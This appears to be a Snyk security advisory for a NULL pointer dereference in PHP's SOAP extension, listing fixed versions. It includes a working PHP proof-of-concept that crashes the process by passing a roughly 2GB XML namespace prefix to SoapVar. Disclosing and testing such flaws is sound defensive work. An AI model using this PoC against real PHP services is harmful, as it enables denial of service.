Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about NULL Pointer Dereference vulnerabilities in an interactive lesson.
Start learningUpgrade php
to version 8.1.33, 8.2.29, 8.3.23, 8.4.10 or higher.
Affected versions of this package are vulnerable to NULL Pointer Dereference via the serialize_zval
function when a fully qualified name larger than 2GB is used as an XML namespace prefix. An attacker can cause a segmentation fault and disrupt service availability by supplying excessively large input data.
<?php
ini_set('memory_limit', '6144M');
// 2 GB prefix to overflow int (INT_MAX = 2147483647)
$hugePrefix = str_repeat("A", 0x7fffffff);
// This is the local part of the XML name
$localName = "Element";
// This will be passed to xmlBuildQName(prefix: hugePrefix, ncname: localName)
$soapVar = new SoapVar(
"value",
XSD_STRING,
null,
null,
"{$hugePrefix}:{$localName}" // Triggers xmlBuildQName
);
$options = [
'location' => 'http://127.0.0.1/', // localhost dummy
'uri' => 'urn:dummy',
'trace' => 1,
'exceptions' => true,
];
try {
$client = new SoapClient(null, $options);
$client->__soapCall("DummyFunction", [$soapVar]);
} catch (Exception $e) {
echo "Caught Exception: " . $e->getMessage() . "\n";
}
?>